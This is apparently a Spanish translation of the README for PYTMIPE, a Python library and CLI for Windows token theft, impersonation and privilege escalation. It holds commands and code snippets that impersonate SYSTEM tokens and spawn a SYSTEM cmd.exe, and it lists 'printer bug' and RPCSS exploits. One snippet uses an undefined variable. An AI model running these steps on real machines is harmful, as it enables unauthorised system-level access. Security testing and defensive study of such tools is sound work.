
Biblioteca y cliente de Python para manipulaciones de tokens y suplantaciones para escalada de privilegios en Windows
PYTMIPE (biblioteca de Python para Manipulación de Tokens y Suplantación para Escalada de Privilegios) es una biblioteca de Python 3 para manipular tokens de Windows y gestionar suplantaciones con el fin de obtener más privilegios en Windows. TMIPE es el cliente de Python 3 que utiliza la biblioteca pytmipe.
Diapositivas "Windows Token Manipulation, Impersonation & Privilege Escalation" (Inglés): enlace
Artículo en MISC 112 (Francés): enlace
| Método | Privilegio(s) Requerido(s) | SO (no exhaustivo) | Objetivo directo (máx) |
|---|---|---|---|
| Creación y suplantación de token | nombre de usuario y contraseña | Todos | administrador local |
| Suplantación/Robo de token | SeDebugPrivilege | Todos | nt authority\system |
| Suplantación de PID padre (herencia de identificadores) | SeDebugPrivilege | >= Vista | nt authority\system |
| Servicio (SCM) | Administrador local (y nivel de integridad alto si UAC está habilitado) | Todos | nt authority\system o cuenta de dominio |
| Evento WMI | Administrador local (y nivel de integridad alto si UAC está habilitado) | Todos | nt authority\system |
| « Printer Bug » LPE | SeImpersonatePrivilege (cuenta de servicio) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| Servicio RPCSS LPE | SeImpersonatePrivilege (cuenta de servicio) | Windows 10 & Server 2016/2019 | nt authority\system |
La siguiente lista no exhaustiva muestra algunas características implementadas en la biblioteca pytmipe:
ctypes se utiliza la mayor parte del tiempo. Muchas características de pywin32 han sido re-desarrolladas en pytmipe para evitar el uso de pywin32 y obtener mejor portabilidad. Sin embargo, el módulo del Programador de tareas aún utiliza pywin32 (más precisamente pythoncom) por falta de tiempo. Todos los demás módulos usan solo ctypes.
Para el cliente python (llamado tmipe):
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
Para la biblioteca python (llamada pytmipe), consulte el código fuente y los ejemplos. Normalmente, he documentado bien el código fuente... La mayoría de las funciones están documentadas.
Para los ejemplos de pyinstaller y ejecutables independientes, consulte los archivos en las carpetas src/examples/.
Si desea saber cómo usar la biblioteca pytmipe, consulte la carpeta src/examples para ver muchos ejemplos.
Para suplantar el primer token system y obtener un símbolo del sistema cmd.exe como system desde el cliente python (tmipe):
python.exe tmipe.py searchimpfirstsystem -vv
Para hacer lo mismo directamente con la biblioteca pytmipe, consulte src/examples/searchAndImpersonateFirstSystemToken.py:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
Esto abrirá un símbolo del sistema cmd.exe como system si el usuario actual de Windows tiene los derechos requeridos.
Por supuesto, a partir de este código fuente, puede crear un ejecutable independiente con pyinstaller.
Para obtener los tokens primario y de suplantación utilizados en el proceso actual:
python.exe tmipe.py printalltokens --current --full --linked
Salida:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
Para obtener todos los tokens accesibles desde el hilo actual, organizados por pid, solo cuando la suplantación sea posible:
python.exe tmipe.py printalltokensbypid --imp-only
Salida:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
Si desea realizar esta operación con la biblioteca pytmipe, también es fácil:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
Puede suplantar un token seleccionado.
Primer paso, obtenga todos los tokens según sus filtros (tokens system y tokens que pueden ser suplantados por el hilo actual):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
Salida:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
Esta salida anterior muestra un token de suplantación ubicado en el pid 2288 (ihandle 118), que tiene un nivel de integridad system. Es posible suplantar este token específico con el siguiente comando:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
Este comando anterior abre un cmd.exe como nt authority\system.
Esto también se puede hacer con la biblioteca pytmipe. El siguiente código fuente suplanta el primer token system disponible, imprime el token efectivo y detiene la suplantación:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
Si desea apoyar mi trabajo haciendo una donación, lo apreciaré mucho:
Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf